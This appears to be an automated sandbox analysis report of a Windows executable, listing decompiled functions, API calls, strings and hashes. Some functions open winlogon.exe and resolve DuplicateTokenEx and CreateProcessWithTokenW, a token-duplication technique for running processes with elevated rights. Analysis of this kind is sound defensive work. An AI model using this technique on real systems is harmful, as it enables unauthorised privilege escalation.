0x0040433d
0x00404350
0x00404363
0x00404376
0x00404389
0x0040439c
0x004043a4
0x004043af
0x004043b5
0x004043b5
0x004043f5

APIs

memset.MSVCRT ref: 0040421E
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00404236
DragFinish.SHELL32(?), ref: 0040423F

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

Part of subcall function 00402E22: GetDlgItem.USER32 ref: 00402E32
Part of subcall function 00402E22: GetClientRect.USER32 ref: 00402E44
Part of subcall function 00402E22: DeferWindowPos.USER32 ref: 00402EB4

BeginDeferWindowPos.USER32(0000000D), ref: 0040427D
EndDeferWindowPos.USER32(?), ref: 004043A4
InvalidateRect.USER32(?,?,00000001), ref: 004043AF

Strings

$, xrefs: 004043CA

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: DeferWindow$DragRect$BeginClientFileFinishInvalidateItemQuerymemcpymemsetwcslen
String ID: $
API String ID: 2142561256-3993045852
Opcode ID: c61b63023b15630986e37261bc436ca147b25cc6efa51280a6e109230e3069b6
Instruction ID: d1d17b09954fcbdb96c5267886444c332edca9ead5b56a9d6021aa5aec52b2c2
Opcode Fuzzy Hash: c61b63023b15630986e37261bc436ca147b25cc6efa51280a6e109230e3069b6
Instruction Fuzzy Hash: F1518EB064011CBFEB126B52CDC9DBF7E6DEF45398F104065BA05792D1C6B84E05EAB4

Uniqueness

Uniqueness Score: -1.00%

Function 00405B81, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 55%

			E00405B81(signed short __ebx) {
				signed int _t21;
				void* _t22;
				struct HINSTANCE__* _t25;
				signed int _t27;
				void* _t35;
				signed short _t39;
				signed int _t40;
				void* _t57;
				int _t61;
				void* _t62;
				int _t71;

				_t39 = __ebx;
				if( *0x41c470 == 0) {
					E00405ADF();
				}
				_t40 =  *0x41c468;
				_t21 = 0;
				if(_t40 <= 0) {
					L5:
					_t57 = 0;
				} else {
					while(_t39 !=  *((intOrPtr*)( *0x41c460 + _t21 * 4))) {
						_t21 = _t21 + 1;
						if(_t21 < _t40) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t57 =  *0x41c458 +  *( *0x41c464 + _t21 * 4) * 2;
				}
				L6:
				if(_t57 != 0) {
					L21:
					_t22 = _t57;
				} else {
					if((_t39 & 0x00010000) == 0) {
						if( *0x40fb90 == 0) {
							_push( *0x41c478 - 1);
							_push( *0x41c45c);
							_push(_t39);
							_t25 = E00405CE7();
							goto L15;
						} else {
							wcscpy(0x40fda0, L"strings");
							_t35 = E00405EDD(_t39,  *0x41c45c);
							_t62 = _t62 + 0x10;
							if(_t35 == 0) {
								L13:
								_t25 = GetModuleHandleW(0);
								_push( *0x41c478 - 1);
								_push( *0x41c45c);
								_push(_t39);
								goto L15;
							} else {
								_t61 = wcslen( *0x41c45c);
								if(_t61 == 0) {
									goto L13;
								}
							}
						}
					} else {
						_t25 = GetModuleHandleW(_t57);
						_push( *0x41c478 - 1);
						_push( *0x41c45c);
						_push(_t39 & 0x0000ffff);
						L15:
						_t61 = LoadStringW(_t25, ??, ??, ??);
						_t71 = _t61;
					}
					if(_t71 <= 0) {
						L20:
						_t22 = 0x40c4e8;
					} else {
						_t27 =  *0x41c46c;
						if(_t27 + _t61 + 2 >=  *0x41c470 ||  *0x41c468 >=  *0x41c474) {
							goto L20;
						} else {
							_t57 =  *0x41c458 + _t27 * 2;
							_t14 = _t61 + 2; // 0x2
							memcpy(_t57,  *0x41c45c, _t61 + _t14);
							 *( *0x41c464 +  *0x41c468 * 4) =  *0x41c46c;
							 *( *0x41c460 +  *0x41c468 * 4) = _t39;
							 *0x41c468 =  *0x41c468 + 1;
							 *0x41c46c =  *0x41c46c + _t61 + 1;
							if(_t57 != 0) {
								goto L21;
							} else {
								goto L20;
							}
						}
					}
				}
				return _t22;
			}

0x00405b81
0x00405b88
0x00405b8a
0x00405b8a
0x00405b8f
0x00405b96
0x00405b9b
0x00405bad
0x00405bad
0x00405b9d
0x00405b9d
0x00405ba8
0x00405bab
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405bab
0x00405be9
0x00405be9
0x00405baf
0x00405bb1
0x00405ce2
0x00405ce2
0x00405bb7
0x00405bbd
0x00405bf6
0x00405c4b
0x00405c4c
0x00405c52
0x00405c53
0x00000000
0x00405bf8
0x00405c02
0x00405c0e
0x00405c13
0x00405c18
0x00405c2c
0x00405c2e
0x00405c3b
0x00405c3c
0x00405c42
0x00000000
0x00405c1a
0x00405c25
0x00405c2a
0x00000000
0x00000000
0x00405c2a
0x00405c18
0x00405bbf
0x00405bc0
0x00405bcd
0x00405bce
0x00405bd7
0x00405c58
0x00405c5f
0x00405c61
0x00405c61
0x00405c63
0x00405cdb
0x00405cdb
0x00405c65
0x00405c65
0x00405c74
0x00000000
0x00405c84
0x00405c8a
0x00405c8d
0x00405c99
0x00405caf
0x00405cbd
0x00405cc8
0x00405cd4
0x00405cd9
0x00000000
0x00000000
0x00000000
0x00000000
0x00405cd9
0x00405c74
0x00405c63
0x00405ce6

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
wcscpy.MSVCRT ref: 00405C02

Part of subcall function 00405EDD: memset.MSVCRT ref: 00405EF0
Part of subcall function 00405EDD: _itow.MSVCRT ref: 00405EFE

wcslen.MSVCRT ref: 00405C20
GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E
LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B19
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B37
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B55
Part of subcall function 00405ADF: ??2@YAPAXI@Z.MSVCRT ref: 00405B73

Strings

strings, xrefs: 00405BF8

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$HandleModule$LoadString_itowmemcpymemsetwcscpywcslen
String ID: strings
API String ID: 3166385802-3030018805
Opcode ID: 484a3de7b2935987b64b240b2dbd95e532bbb3e4d7f0d1989cc78b1e10ca5163
Instruction ID: 6100db9a332bdf9cdae47e625800c2dd81fdb4e1827941160d8c77da4bb91491
Opcode Fuzzy Hash: 484a3de7b2935987b64b240b2dbd95e532bbb3e4d7f0d1989cc78b1e10ca5163
Instruction Fuzzy Hash: F0417A74188A149FEB149B54ECE5DB73376F785708720813AE802A72A1DB39AC46CF6C

Uniqueness

Uniqueness Score: -1.00%

Function 00401E44, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00401E44(int _a4, int _a8, intOrPtr* _a12) {
				char _v8;
				void* _v12;
				void* __esi;
				void* _t18;
				intOrPtr* _t22;
				void* _t23;
				void* _t28;
				int _t37;
				intOrPtr* _t39;
				intOrPtr* _t40;

				_v8 = 0;
				_t18 = OpenProcess(0x2000000, 0, _a8);
				_v12 = _t18;
				if(_t18 == 0) {
					_t37 = GetLastError();
				} else {
					_t39 = _a4 + 0x800;
					_a8 = 0;
					E0040289F(_t39);
					_t22 =  *((intOrPtr*)(_t39 + 4));
					if(_t22 == 0) {
						_t23 = 0;
					} else {
						_t23 =  *_t22(_v12, 2,  &_a8);
					}
					if(_t23 == 0) {
						_t37 = GetLastError();
					} else {
						_a4 = _a8;
						E0040289F(_t39);
						_t40 =  *((intOrPtr*)(_t39 + 8));
						if(_t40 == 0) {
							_t28 = 0;
						} else {
							_t28 =  *_t40(_a4, 0x2000000, 0, 2, 1,  &_v8);
						}
						if(_t28 == 0) {
							_t37 = GetLastError();
						} else {
							 *_a12 = _v8;
							_t37 = 0;
						}
						CloseHandle(_a8);
					}
					CloseHandle(_v12);
				}
				return _t37;
			}

0x00401e59
0x00401e5c
0x00401e64
0x00401e67
0x00401ef9
0x00401e6d
0x00401e70
0x00401e76
0x00401e79
0x00401e7e
0x00401e83
0x00401e92
0x00401e85
0x00401e8e
0x00401e8e
0x00401e96
0x00401ee6
0x00401e98
0x00401e9b
0x00401e9e
0x00401ea3
0x00401ea8
0x00401ebb
0x00401eaa
0x00401eb7
0x00401eb7
0x00401ebf
0x00401ed3
0x00401ec1
0x00401ec7
0x00401ec9
0x00401ec9
0x00401ed8
0x00401ed8
0x00401eeb
0x00401eeb
0x00401f01

APIs

OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,winlogon.exe,?,00000000,winlogon.exe,00000000), ref: 00401E5C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EF3

Part of subcall function 0040289F: LoadLibraryW.KERNEL32(advapi32.dll,?,00402271,?,?,00000000), ref: 004028AB
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithLogonW), ref: 004028C0
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,CreateProcessWithTokenW), ref: 004028CD
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,OpenProcessToken), ref: 004028D9
Part of subcall function 0040289F: GetProcAddress.KERNEL32(00000000,DuplicateTokenEx), ref: 004028E6

GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401ECD
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401ED8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?,?), ref: 00401EE0
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00401FAE,0040218D,?), ref: 00401EEB

Strings

winlogon.exe, xrefs: 00401E4B

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLast$CloseHandle$LibraryLoadOpenProcess
String ID: winlogon.exe
API String ID: 1315556178-961692650
Opcode ID: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction ID: 37dd24dd8946aa7f8aa4240fd04c0d288f38f50501b3184a6b0aa07a3247aa85
Opcode Fuzzy Hash: e4a5705fcdc82a33d7d09986f8f31284f2fb5d3fd113eab1cd0e790a40dcb407
Instruction Fuzzy Hash: FB212932900114EFDB10AFA5CDC8AAE7BB5EB04350F14893AFE06F72A0D7749D41DA94

Uniqueness

Uniqueness Score: -1.00%

Function 00405236, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E00405236(short* __ebx, intOrPtr _a4) {
				int _v8;
				char _v12;
				void _v2058;
				void _v2060;
				int _t35;
				int _t41;
				signed int _t48;
				signed int _t49;
				signed short* _t50;
				void** _t52;
				void* _t53;
				void* _t54;

				_t48 = 0;
				_v2060 = 0;
				memset( &_v2058, 0, 0x7fe);
				_t54 = _t53 + 0xc;
				 *__ebx = 0;
				_t52 = _a4 + 4;
				_v12 = 2;
				do {
					_push( *_t52);
					_t6 = _t52 - 4; // 0xe80040cb
					_push( *_t6);
					_push(L"%s (%s)");
					_push(0x400);
					_push( &_v2060);
					L0040B1EC();
					_t35 = wcslen( &_v2060);
					_v8 = _t35;
					memcpy(__ebx + _t48 * 2,  &_v2060, _t35 + _t35 + 2);
					_t49 = _t48 + _v8 + 1;
					_t41 = wcslen( *_t52);
					_v8 = _t41;
					memcpy(__ebx + _t49 * 2,  *_t52, _t41 + _t41 + 2);
					_t54 = _t54 + 0x34;
					_t52 =  &(_t52[2]);
					_t23 =  &_v12;
					 *_t23 = _v12 - 1;
					_t48 = _t49 + _v8 + 1;
				} while ( *_t23 != 0);
				_t50 = __ebx + _t48 * 2;
				 *_t50 =  *_t50 & 0x00000000;
				_t50[1] = _t50[1] & 0x00000000;
				return __ebx;
			}

0x00405241
0x00405250
0x00405257
0x0040525f
0x00405262
0x00405265
0x00405268
0x0040526f
0x0040526f
0x00405277
0x00405277
0x0040527a
0x0040527f
0x00405284
0x00405285
0x00405291
0x00405296
0x004052a9
0x004052b3
0x004052b7
0x004052bc
0x004052ca
0x004052d2
0x004052d5
0x004052d8
0x004052d8
0x004052db
0x004052db
0x004052e1
0x004052e4
0x004052e8
0x004052f2

APIs

memset.MSVCRT ref: 00405257
_snwprintf.MSVCRT ref: 00405285
wcslen.MSVCRT ref: 00405291
memcpy.MSVCRT ref: 004052A9
wcslen.MSVCRT ref: 004052B7
memcpy.MSVCRT ref: 004052CA

Strings

%s (%s), xrefs: 0040527A

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpywcslen$_snwprintfmemset
String ID: %s (%s)
API String ID: 3979103747-1363028141
Opcode ID: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction ID: 65e1e814fa0bf8ea8ab085bd6ee3311c73c19872bc06834ae6b579d31858dd7b
Opcode Fuzzy Hash: 78317d02bfcb08935322c08fe3645b21644df8c2b86268209298db670e7b3c37
Instruction Fuzzy Hash: C411517280020DEBCF21DF94CC49D8BB7B8FF44308F1144BAE944A7152EB74A6588BD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040614F, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E0040614F(void* __ecx, void* __eflags, struct HWND__* _a4) {
				void _v514;
				short _v516;
				void _v8710;
				short _v8712;
				int _t17;
				WCHAR* _t26;

				E0040B550(0x2204, __ecx);
				_v8712 = 0;
				memset( &_v8710, 0, 0x2000);
				_t17 = GetDlgCtrlID(_a4);
				_t34 = _t17;
				GetWindowTextW(_a4,  &_v8712, 0x1000);
				if(_t17 > 0 && _v8712 != 0) {
					_v516 = 0;
					memset( &_v514, 0, 0x1fe);
					GetClassNameW(_a4,  &_v516, 0xff);
					_t26 =  &_v516;
					_push(L"sysdatetimepick32");
					_push(_t26);
					L0040B278();
					if(_t26 != 0) {
						E00406025(_t34,  &_v8712);
					}
				}
				return 1;
			}

0x00406157
0x0040616d
0x00406174
0x0040617f
0x00406185
0x00406196
0x0040619e
0x004061b6
0x004061bd
0x004061d4
0x004061da
0x004061e0
0x004061e5
0x004061e6
0x004061ef
0x004061f9
0x004061ff
0x004061ef
0x00406206

APIs

memset.MSVCRT ref: 00406174
GetDlgCtrlID.USER32(?), ref: 0040617F
GetWindowTextW.USER32 ref: 00406196
memset.MSVCRT ref: 004061BD
GetClassNameW.USER32 ref: 004061D4
_wcsicmp.MSVCRT ref: 004061E6

Part of subcall function 00406025: memset.MSVCRT ref: 00406038
Part of subcall function 00406025: _itow.MSVCRT ref: 00406046

Strings

sysdatetimepick32, xrefs: 004061E0

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$ClassCtrlNameTextWindow_itow_wcsicmp
String ID: sysdatetimepick32
API String ID: 1028950076-4169760276
Opcode ID: 5da42dd6f8dc2a5a5ce51cfedbbbc012e548a5dc60c7f50195cd90505966b8bd
Instruction ID: a6c41b950ec0abdba219e0cd23eeccead18917629e413d377b87badc6c60029b
Opcode Fuzzy Hash: 5da42dd6f8dc2a5a5ce51cfedbbbc012e548a5dc60c7f50195cd90505966b8bd
Instruction Fuzzy Hash: 65117732840119BAEB20EB95DC89EDF777CEF04754F0040BAF518F1192E7345A81CA9D

Uniqueness

Uniqueness Score: -1.00%

Function 00404706, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 52
librarywindowCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00404706(long __edi, wchar_t* _a4) {
				short _v8;
				void* _t8;
				void* _t10;
				long _t14;
				long _t24;

				_t24 = __edi;
				_t8 = 0;
				_t14 = 0x1100;
				if(__edi - 0x834 <= 0x383) {
					_t8 = LoadLibraryExW(L"netmsg.dll", 0, 2);
					if(0 != 0) {
						_t14 = 0x1900;
					}
				}
				if(FormatMessageW(_t14, _t8, _t24, 0x400,  &_v8, 0, 0) <= 0) {
					_t10 = wcscpy(_a4, 0x40c4e8);
				} else {
					if(wcslen(_v8) < 0x400) {
						wcscpy(_a4, _v8);
					}
					_t10 = LocalFree(_v8);
				}
				return _t10;
			}

0x00404706
0x00404714
0x0040471c
0x00404721
0x0040472b
0x00404733
0x00404735
0x00404735
0x00404733
0x00404751
0x00404780
0x00404753
0x0040475e
0x00404766
0x0040476c
0x00404770
0x00404770
0x0040478a

APIs

LoadLibraryExW.KERNEL32(netmsg.dll,00000000,00000002,?,00000000,?,?,004047FA,?,?,?,004035EB,?,?), ref: 0040472B
FormatMessageW.KERNEL32(00001100,00000000,?,00000400,?,00000000,00000000,?,00000000,?,?,004047FA,?,?,?,004035EB), ref: 00404749
wcslen.MSVCRT ref: 00404756
wcscpy.MSVCRT ref: 00404766
LocalFree.KERNEL32(?,?,00000400,?,00000000,00000000,?,00000000,?,?,004047FA,?,?,?,004035EB,?), ref: 00404770
wcscpy.MSVCRT ref: 00404780

Strings

netmsg.dll, xrefs: 00404726

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: wcscpy$FormatFreeLibraryLoadLocalMessagewcslen
String ID: netmsg.dll
API String ID: 2767993716-3706735626
Opcode ID: 1e136739243523e06bb2833156c7d3ecb9fe647eacfe1b285a6198c622c21fe1
Instruction ID: 89adc518ee94488043421af4a237527fbec77c55aa854962abbb3bd0e0f931e1
Opcode Fuzzy Hash: 1e136739243523e06bb2833156c7d3ecb9fe647eacfe1b285a6198c622c21fe1
Instruction Fuzzy Hash: 4F01D471200114FAEB152B61DD8AE9F7A6CEB46796B20417AFA02B60D1DB755E0086AC

Uniqueness

Uniqueness Score: -1.00%

Function 0040598B, Relevance: 12.1, APIs: 8, Instructions: 96
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040598B(void* __edx, void* __eflags, intOrPtr _a4) {
				intOrPtr _v12;
				void* _v16;
				intOrPtr _v20;
				char _v32;
				char _v72;
				void _v582;
				long _v584;
				void* __edi;
				intOrPtr _t27;
				wchar_t* _t34;
				wchar_t* _t42;
				long* _t43;
				int _t44;
				void* _t52;
				void* _t54;
				long _t56;
				long* _t57;
				void* _t60;

				_t60 = __eflags;
				_t52 = __edx;
				E004095AB( &_v72);
				_v584 = 0;
				memset( &_v582, 0, 0x1fe);
				E004095FD(_t52, _t60,  &_v72);
				_t27 = 0;
				_v12 = 0;
				if(_v20 <= 0) {
					L10:
					_t56 = 0;
				} else {
					do {
						_t57 = E00405A92(_t27,  &_v32);
						if(E00409A94( *_t57,  &_v584) == 0) {
							goto L9;
						} else {
							_t34 =  &_v584;
							_push(_t34);
							_push(_a4);
							L0040B278();
							if(_t34 == 0) {
								L5:
								_t44 = 0;
								_t54 = OpenProcess(0x2000000, 0,  *_t57);
								if(_t54 == 0) {
									goto L9;
								} else {
									_v16 = _v16 & 0;
									if(OpenProcessToken(_t54, 2,  &_v16) != 0) {
										_t44 = 1;
										CloseHandle(_v16);
									}
									CloseHandle(_t54);
									if(_t44 != 0) {
										_t56 =  *_t57;
									} else {
										goto L9;
									}
								}
							} else {
								_t42 = wcschr( &_v584, 0x5c);
								if(_t42 == 0) {
									goto L9;
								} else {
									_t43 =  &(_t42[0]);
									_push(_t43);
									_push(_a4);
									L0040B278();
									if(_t43 != 0) {
										goto L9;
									} else {
										goto L5;
									}
								}
							}
						}
						goto L12;
						L9:
						_t27 = _v12 + 1;
						_v12 = _t27;
					} while (_t27 < _v20);
					goto L10;
				}
				L12:
				E004095DA( &_v72);
				return _t56;
			}

0x0040598b
0x0040598b
0x0040599a
0x004059ae
0x004059b5
0x004059c1
0x004059c6
0x004059cb
0x004059ce
0x00405a7b
0x00405a7b
0x004059d4
0x004059d4
0x004059dc
0x004059ee
0x00000000
0x004059f0
0x004059f0
0x004059f6
0x004059f7
0x004059fa
0x00405a03
0x00405a2b
0x00405a2e
0x00405a3c
0x00405a40
0x00000000
0x00405a42
0x00405a42
0x00405a54
0x00405a59
0x00405a5a
0x00405a5a
0x00405a61
0x00405a69
0x00405a7f
0x00000000
0x00000000
0x00000000
0x00405a69
0x00405a05
0x00405a0e
0x00405a17
0x00000000
0x00405a19
0x00405a19
0x00405a1c
0x00405a1d
0x00405a20
0x00405a29
0x00000000
0x00000000
0x00000000
0x00000000
0x00405a29
0x00405a17
0x00405a03
0x00000000
0x00405a6b
0x00405a6e
0x00405a72
0x00405a72
0x00000000
0x004059d4
0x00405a81
0x00405a84
0x00405a8f

APIs

memset.MSVCRT ref: 004059B5

Part of subcall function 004095FD: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00409619
Part of subcall function 004095FD: memset.MSVCRT ref: 0040962E
Part of subcall function 004095FD: Process32FirstW.KERNEL32(?,?), ref: 0040964A
Part of subcall function 004095FD: Process32NextW.KERNEL32(?,0000022C), ref: 0040978C
Part of subcall function 004095FD: CloseHandle.KERNEL32(?,?,0000022C,?,?,?,?,00000000,?), ref: 0040979C

Part of subcall function 00409A94: memset.MSVCRT ref: 00409AB7
Part of subcall function 00409A94: memset.MSVCRT ref: 00409ACF
Part of subcall function 00409A94: OpenProcess.KERNEL32(00000400,00000000,?,?,?,?,?,00000000,00000000), ref: 00409AE0
Part of subcall function 00409A94: memset.MSVCRT ref: 00409B25
Part of subcall function 00409A94: GetProcAddress.KERNEL32(?,GetTokenInformation), ref: 00409B4B
Part of subcall function 00409A94: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000008,?), ref: 00409C26
Part of subcall function 00409A94: FreeLibrary.KERNEL32(?,?,?,?,?,?,00000000,00000008,?,?,?,?,?,00000000,00000000), ref: 00409C34

_wcsicmp.MSVCRT ref: 004059FA
wcschr.MSVCRT ref: 00405A0E
_wcsicmp.MSVCRT ref: 00405A20
OpenProcess.KERNEL32(02000000,00000000,00000000,00000000,?,?,?,?,00000000), ref: 00405A36
OpenProcessToken.ADVAPI32(00000000,00000002,?), ref: 00405A4C
CloseHandle.KERNEL32(?), ref: 00405A5A
CloseHandle.KERNEL32(00000000), ref: 00405A61

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$CloseHandle$OpenProcess$Process32_wcsicmp$AddressCreateFirstFreeLibraryNextProcSnapshotTokenToolhelp32wcschr
String ID:
API String ID: 768606695-0
Opcode ID: 24c99ff6b226417a7cff51520edeb71ca8997190fc09f0f890f68f92aaad849e
Instruction ID: 2def5e4e0f7fb713a9aee1133a075480eaa7d54608268b88a97ef3230c71c50c
Opcode Fuzzy Hash: 24c99ff6b226417a7cff51520edeb71ca8997190fc09f0f890f68f92aaad849e
Instruction Fuzzy Hash: 18318472A00619ABDB10EBA1DD89AAF77B8EF04345F10457BE905F2191EB349E018F98

Uniqueness

Uniqueness Score: -1.00%

Function 00407639, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407639(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v68;
				char _v108;
				void _v160;
				void* __esi;
				signed int _t55;
				void* _t57;
				wchar_t* _t67;
				intOrPtr* _t73;
				signed int _t74;
				signed int _t86;
				signed int _t95;
				intOrPtr* _t98;
				void* _t100;
				void* _t102;

				_t73 = __ebx;
				_t74 = 0xd;
				_push(9);
				memcpy( &_v160, L"<td bgcolor=#%s nowrap>%s", _t74 << 2);
				memcpy( &_v68, L"<td bgcolor=#%s>%s", 0 << 2);
				_t102 = _t100 + 0x18;
				asm("movsw");
				E00407343(__ebx, _a4, L"<tr>");
				_t95 = 0;
				if( *((intOrPtr*)(__ebx + 0x2c)) > 0) {
					do {
						_t55 =  *( *((intOrPtr*)(_t73 + 0x30)) + _t95 * 4);
						_v8 = _t55;
						_t57 =  &_v160;
						if( *((intOrPtr*)(_t55 * 0x14 +  *((intOrPtr*)(_t73 + 0x40)) + 8)) == 0) {
							_t57 =  &_v68;
						}
						_t98 = _a8;
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _v16 & 0x00000000;
						_v12 = _t57;
						 *((intOrPtr*)( *_t73 + 0x34))(5, _t95, _t98,  &_v28);
						E0040ADC0(_v28,  &_v108);
						E0040ADF1( *((intOrPtr*)( *_t98))(_v8,  *((intOrPtr*)(_t73 + 0x60))),  *(_t73 + 0x64));
						 *((intOrPtr*)( *_t73 + 0x50))( *(_t73 + 0x64), _t98, _v8);
						_t67 =  *(_t73 + 0x64);
						_t86 =  *_t67 & 0x0000ffff;
						if(_t86 == 0 || _t86 == 0x20) {
							wcscat(_t67, L"&nbsp;");
						}
						E0040AE90( &_v28,  *((intOrPtr*)(_t73 + 0x68)),  *(_t73 + 0x64));
						_push( *((intOrPtr*)(_t73 + 0x68)));
						_push( &_v108);
						_push(_v12);
						_push(0x2000);
						_push( *((intOrPtr*)(_t73 + 0x60)));
						L0040B1EC();
						_t102 = _t102 + 0x1c;
						E00407343(_t73, _a4,  *((intOrPtr*)(_t73 + 0x60)));
						_t95 = _t95 + 1;
					} while (_t95 <  *((intOrPtr*)(_t73 + 0x2c)));
				}
				return E00407343(_t73, _a4, L"\r\n");
			}

0x00407639
0x00407646
0x00407647
0x00407654
0x0040765f
0x0040765f
0x0040766b
0x0040766d
0x00407672
0x00407677
0x0040767d
0x00407680
0x00407686
0x00407691
0x00407697
0x00407699
0x00407699
0x0040769c
0x0040769f
0x004076a3
0x004076a7
0x004076ab
0x004076b5
0x004076be
0x004076c8
0x004076de
0x004076ee
0x004076f1
0x004076f4
0x004076fa
0x00407708
0x0040770e
0x00407718
0x0040771d
0x00407723
0x00407724
0x00407727
0x0040772c
0x0040772f
0x00407734
0x0040773f
0x00407744
0x00407745
0x0040767d
0x00407760

APIs

wcscat.MSVCRT ref: 00407708
_snwprintf.MSVCRT ref: 0040772F

Strings

 , xrefs: 00407702
<td bgcolor=#%s>%s, xrefs: 00407657
<td bgcolor=#%s nowrap>%s, xrefs: 00407649
<tr>, xrefs: 00407661

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: _snwprintfwcscat
String ID:  $<td bgcolor=#%s nowrap>%s$<td bgcolor=#%s>%s$<tr>
API String ID: 384018552-4153097237
